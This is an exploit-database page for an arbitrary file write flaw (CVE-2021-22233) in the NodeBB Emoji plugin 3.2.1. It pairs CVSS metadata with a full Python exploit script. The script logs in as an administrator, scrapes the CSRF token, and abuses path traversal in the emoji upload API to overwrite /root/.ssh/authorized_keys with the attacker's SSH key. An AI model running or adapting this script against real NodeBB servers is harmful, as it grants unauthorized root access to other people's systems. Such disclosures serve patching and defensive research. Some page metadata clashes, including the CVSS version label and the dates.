Exploitalert - Database of Exploits

NodeBB Plugin Emoji 3.2.1 Arbitrary File Write

CVE	Category	Price	Severity
CVE-2021-22233	CWE-22	$500	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2021-04-29

CPE
cpe:cpe:/a:nodebb:nodebb:3.2.1

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021040158

NodeBB Plugin Emoji 3.2.1 Arbitrary File Write

# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write # Date: 2021-02-01 # Exploit Author: 1F98D # Software Link: https://nodebb.org/ # Version: Emoji for NodeBB <= v3.2.1 # Tested on: Ubuntu 18.04 (x86) # Software Link: https://github.com/NodeBB/nodebb-plugin-emoji # # The Emoji for NodeBB which is installed by default contains an # arbitrary file write vulnerability to insecurely handled user controlled # input. # # This exploit requires administrative access to the NodeBB instance in order # to access the emoji upload API. # #!/usr/bin/python3 import requests import sys import re TARGET = 'http://192.168.1.1:4567' USERNAME = 'admin' PASSWORD = 'password' DESTINATION_FILE = '/root/.ssh/authorized_keys' SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub' headers = { 'User-Agent': 'NotPython' } s = requests.Session() r = s.get('{}/login'.format(TARGET), headers=headers) if r.status_code != 200: print('[!] Error, {}/login unavailable'.format(TARGET)) sys.exit(1) csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE) if csrf is None: print('[!] Could not extract csrf token to proceed.') sys.exit(1) auth = { 'username': USERNAME, 'password': PASSWORD, '_csrf': csrf.group(1) } r = s.post('{}/login'.format(TARGET), headers=headers, data=auth) if r.status_code != 200: print('[!] Error, login failed') print('[!] Status: {}'.format(r.status_code)) print('[!] Response: {}'.format(r.text)) sys.exit(1) print('[+] Login successful') r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers) if r.status_code != 200: print('[!] Error, could not access emoji plugin') print('[!] Status: {}'.format(r.status_code)) print('[!] Response: {}'.format(r.text)) sys.exit(1) print('[+] Emoji plugin is installed') files = { 'emojiImage': open(SOURCE_FILE) } data = { 'fileName': '../../../../../../..{}'.format(DESTINATION_FILE) } r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files) if r.status_code != 200: print('[!] Error, could not upload file') print('[!] Status: {}'.format(r.status_code)) print('[!] Response: {}'.format(r.text)) sys.exit(1) print('[+] Successfully uploaded file')

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